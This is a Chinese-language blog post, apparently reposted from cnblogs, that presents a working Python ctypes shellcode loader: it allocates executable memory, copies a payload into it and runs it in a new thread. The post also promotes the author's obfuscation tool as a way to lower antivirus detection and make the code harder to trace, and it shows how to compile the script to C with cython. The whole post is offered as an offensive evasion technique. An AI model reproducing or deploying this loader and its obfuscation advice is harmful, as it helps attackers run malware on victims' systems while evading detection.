系统相关
首页 > 系统相关> > 我的shellcode loader观-1

我的shellcode loader观-1

作者:互联网

包含内容:

  • 1.传统的shellcode loader

  • 2.Python中的加密loader

  • 3.Python相对于shelcode load 的优势

  • 4.cython帮助我们将.py转.c

  • 5.Python中源码混淆工具分享


1 . shellcode loader

这是一个源码:

import ctypes

shellcode = bytearray(b'')

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这是静态查杀率

2 . 加密 loader

我(liusuxyds)为此开发了一款转用于混淆python源码的工具AuSuxydsPC(Free)
link:https://gitee.com/suxyds/au-suxyds-pc

混淆后效果:

3 . Python相对于shelcode load 的优势

1.不易溯源,python属于高级语言,并且使用AuSuxydsPC后更难
2.方便,便于快速实现想法
3.生态好,有很多api等等
4.能转.c

4. cython帮助我们将.py转.c

首先pip3 install cython或加上'-i https://pypi.tuna.tsinghua.edu.cn/simple'
使用:
cython 文件.py --embed
gcc `python-config --cflags` `python-config --ldflags` 文件.c -o 文件

标签:int,windll,loader,kernel32,ctypes,shellcode
来源: https://www.cnblogs.com/liusuxy/p/16365678.html